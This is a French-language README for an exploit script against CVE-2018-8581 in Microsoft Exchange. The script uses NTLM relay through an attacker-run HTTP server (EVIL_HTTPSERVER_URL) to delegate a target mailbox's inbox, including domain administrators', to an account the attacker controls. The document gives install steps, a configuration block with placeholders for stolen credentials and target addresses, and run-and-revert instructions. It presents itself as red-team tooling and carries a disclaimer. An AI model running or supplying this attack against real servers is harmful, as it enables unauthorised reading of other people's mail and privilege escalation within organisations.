
CVE-2018-8581 | Vulnérabilité d'élévation de privilèges dans Microsoft Exchange Server
Il s'agit d'une vulnérabilité de mouvement latéral et d'élévation de privilèges au niveau de la boîte aux lettres.
Elle permet, après avoir obtenu les identifiants d'une boîte aux lettres avec des privilèges ordinaires, de prendre le contrôle par délégation de la boîte de réception d'autres utilisateurs (y compris les administrateurs de domaine).
Ce script d'exploitation est une version améliorée en une commande, basée sur le PoC original. Une fois les paramètres configurés, il ajoute puis supprime automatiquement la délégation sur la boîte de réception (inbox) de la boîte aux lettres cible, afin de permettre aux équipes de sécurité côté client et aux équipes rouges de simuler une attaque complète contre une entreprise autorisée.
Le PoC original nécessitait deux scripts combinés pour ajouter une règle de réception de messages, ce qui n'était pas vraiment pratique pour les équipes rouges côté client. En outre, le PoC original exigeait, outre la boîte aux lettres, de définir le SID de l'utilisateur de la boîte aux lettres cible. Cependant, en suivant la méthode d'obtention du SID utilisateur mentionnée dans cet article, mes tests dans des environnements réels avec Exchange Server 2010 et 2013 n'ont pas réussi à la reproduire (2010 n'offre pas d'option correspondante, 2013 signale une erreur de droits insuffisants). Finalement, mon approche a consisté à effectuer d'abord une délégation inverse pour obtenir le SID de l'utilisateur de la boîte aux lettres cible, puis à supprimer cette délégation.
Installer python-ntlm
pip install python-ntlm
Configurer les paramètres dans le code suivant du script
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
Exécuter le script, puis boire une gorgée de thé aux baies de goji et attendre une minute
![]()
À ce stade, la boîte de réception (inbox) de TARGET_EMAIL a été déléguée avec succès à CONTROLLED_EMAIL
Consulter la boîte de réception de la boîte aux lettres cible dans OWA ou Outlook
img2
Mettre FLAG à 0, exécuter à nouveau le script, boire encore une gorgée de thé aux baies de goji et attendre encore une minute, puis la délégation précédemment ajoutée sera supprimée
img3
Il n'est plus possible d'y accéder
Python 2.7.14
Exchange Server 2010 (relativement stable ; la plupart des tests sur Exchange Server 2010 réussissent)
Exchange Server 2013 (peut échouer selon l'environnement)
Exchange Server 2016 (peut échouer selon l'environnement)
Il est possible de modifier davantage de requêtes EWS SOAP API dans la fonction make_relay_body().
En essayant d'exploiter plus avant le relais des hash Net-NTLM pour attaquer d'autres hôtes ne nécessitant pas la signature SMB, j'ai constaté que les hash obtenus étaient tous ceux du serveur Exchange... Peut-être que si la signature SMB est désactivée sur le serveur Exchange, il serait possible d'utiliser un relais inter-protocole pour attaquer le serveur Exchange, mais ce scénario reste très difficile à rencontrer...
Ce script est fourni uniquement à des fins d'apprentissage et d'échange. L'utilisateur est tenu de respecter les lois locales en vigueur. Toute utilisation à d'autres fins engage la seule responsabilité de l'utilisateur ; l'auteur décline toute responsabilité. Télécharger et utiliser ce script implique l'acceptation des termes ci-dessus.